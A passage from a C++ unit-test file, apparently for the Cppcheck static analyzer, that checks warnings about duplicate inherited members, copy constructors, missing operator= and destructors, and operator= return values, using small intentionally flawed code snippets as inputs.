fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n 